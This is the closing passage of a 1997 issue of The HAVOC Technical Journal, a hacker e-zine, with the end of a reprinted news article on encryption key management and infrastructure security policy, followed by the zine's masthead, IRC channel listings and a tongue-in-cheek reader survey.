said that a large-scale key management system is technically implausible and practically impossible. "It doesn't make any sense," said Stanton McCandlish, director of the Electronic Freedom Foundation Program. "We've got the world's most renowned cryptographers saying that it won't work." Even if U.S. citizens do register their keys, McCandlish said, virtually unbreakable encryption is easily available from foreign sources, so criminals would be able to skirt U.S. laws. Another section of the report says that detailed infrastructure information should not be distributed to the public, thus preventing ambitious terrorists from obtaining road maps. Much of this previously unclassified material, including information shared with the government by private companies such as ISPs or utilities, should be better protected and be given exemptions from Freedom of Information Act requests. "The risk is increasing on a daily basis the more we rely on unreliable components," said John Cronican, vice president of engineering at the Merdan Group, a San Diego-based computer security consultancy. "Any time you become dependent on information and begin replacing people with machines, you've got problems." Both the report and security consultants said that private companies and the public at large need to be educated about the dangers of computer attacks. "The report says we don't have safeguards because people have not thought it through," Cronican said. (c) CMP Media, 1997. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Ú--ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ : The HAVOC Technical Journal ³ ú-ÄÄ-ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ 'finger @thtj.com' Editor-in Chief : Scud-O, Executive Editor : KungFuFox Submissions Editor : Keystroke Editing Assistants : FH Phrax Shok Staff Writers : memor ArcAngel lurk3r The Messiah (and a whole lot of other people) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Where It's At On Undernet: On EFNet: #phreak #sinnerz #hackphreak #phrack #hackers #linuxos #carparts ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Reader Survey [This survey is designed to help us better suit our magazine to the reader, or we may just be trying to get a good laugh, but we haven't decided yet.] Nick: M/F: Age: Occupation/grade: City: State: Zip Code: Country: Area Code: Why do you read The HAVOC Technical Journal? Where did you get this issue? Are you a subscriber to THTJ? What other zines do you read on a regular basis? What would you like to see in future issue of THTJ? What would you add or subtract from THTJ's format and articles? On a scale of 1-10 ( 1 being lowest, 10 being highest), how would you rate yourself? On a scale of 1-10 ( 1 being lowest, 10 being highest), how would you rate The HAVOC Technical Journal? Any extra comments? Please send all replies to scud@thtj.com Ú--ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ : [ ] Do not check this box! ³ ú-ÄÄ-ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ For office use only: [ ]D [ ]X [ ]W [ ]Y [ ]0 [ ]1 [ ]0 [ ]1 (don't ask, we don't have a clue what this is for) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Well, we have now come to the end of this issue. Look for the next issue on the first of next month. In the mean time, why dont you write an article for thtj? Or tell all your friends about how cool it is? Or fill out our reader survey and tell us what you liked, what you didnt like, and want you want to see in thtj. Also, e-mail us any comments or questions you may have. - scud